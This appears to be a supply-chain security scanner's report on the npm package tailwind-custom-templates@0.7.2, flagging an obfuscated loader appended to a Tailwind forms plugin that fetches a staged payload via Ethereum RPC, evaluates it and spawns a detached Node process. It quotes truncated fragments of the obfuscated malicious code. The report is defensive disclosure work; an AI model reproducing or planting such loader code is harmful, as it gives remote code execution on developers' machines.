Loading npm security reports…

tailwind-custom-templates@0.7.2: Malicious npm security report | LPM Firewall

registry / tailwind-custom-templates / 0.7.2

tailwind-custom-templates@0.7.2

A plugin that provides a basic reset for form styles that makes form elements easy to override with utilities.

AI Security Review

scanned 2d ago · by lpm-firewall-ai

Importing the declared main module runs an obfuscated network-backed payload loader. It evaluates a retrieved payload and launches it as a detached Node process.

Static reason

One or more suspicious static signals were detected.; source matched previously finalized malicious package; routed for review

Trigger

Any consumer or Tailwind configuration that requires/imports tailwind-custom-templates.

Impact

Remote code execution in the importing user's Node environment, with stealthy detached-process persistence potential.

Mechanism

Obfuscated Ethereum-RPC staged payload retrieval followed by eval and detached child-process execution.

Attack narrative

The package's main entry first provides form-style plugin code, then appends an obfuscated loader. On import, it reads an optional Ethereum RPC environment setting and queries network sources for staged data. The loader derives a command from that data, evaluates it in-process, and spawns a detached hidden Node process. This creates concrete remote code execution during ordinary package use without an npm lifecycle hook.

Rationale

The appended import-time payload is unrelated to a Tailwind forms plugin and contains concrete obfuscated staging, eval, and detached process execution. The lack of lifecycle hooks does not mitigate execution when the declared main entry is loaded.

Evidence

src/index.jspackage.jsonscripts/release-notes.jsscripts/release-channel.js

Decision evidence

public snapshot

Source & flagged code

6 flagged · loading source

tailwind.config.jsView file

7}, L8: plugins: [require('./src')], L9: }

Medium

Dynamic Require

Package source references dynamic require/import behavior.

tailwind.config.jsView on unpkg · L7

src/index.jsView file

1const svgToDataUri=require("mini-svg-data-uri"),plugin=require("tailwindcss/plugin"),defaultTheme=require("tailwindcss/defaultTheme"),colors=require("tailwindcss/colors"),[baseFont...

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

src/index.jsView on unpkg · L1

1global.i="A11--!";const _0xb40cd9=_0x4963;(function(_0x28261c,_0x1c6ad4){const _0x1f55f0=_0x4963,_0x424395=_0x28261c();while(!![]){

High

Ai Review Evidence

src/index.js appends a large obfuscated payload to the legitimate Tailwind plugin.

src/index.jsView on unpkg · L1

1const http=require(_0xb40cd9(0x20e)),https=require(_0xb40cd9(0x206)),zlib=require(_0xb40cd9(0x2d5)),{URL}=require(_0xb40cd9(0x28d)),{spawn}=require(_0xb40cd9(0x234)+_0xb40cd9(0x238)),B=0x3e8n,S=(_0xb40cd9(0x24e)+_0xb40cd9(0x28e)+_0xb40cd9(0x25b)+_0xb40cd9(0x1f5)+'1a')[_0xb40cd9(0x2d3)+'e'](),I=_0xb40cd9(0x246)+_0xb40cd9(0x278)+_0xb40cd9(0x225),R=[...new Set([process.env.ETH_RPC_URL,

High

Ai Review Evidence

The imported main module requires HTTP/HTTPS, zlib, URL, and child_process.spawn.

src/index.jsView on unpkg · L1

scripts/release-notes.jsView file

•matchType = normalized_sha256 matchedPackage = tailwind-custom-forms@0.5.2 matchedPath = scripts/release-notes.js matchedIdentity = npm:dGFpbHdpbmQtY3VzdG9tLWZvcm1z:0.5.2 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

scripts/release-notes.jsView on unpkg

scripts/release-channel.jsView file

•matchType = normalized_sha256 matchedPackage = tailwind-custom-forms@0.5.2 matchedPath = scripts/release-channel.js matchedIdentity = npm:dGFpbHdpbmQtY3VzdG9tLWZvcm1z:0.5.2 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

scripts/release-channel.jsView on unpkg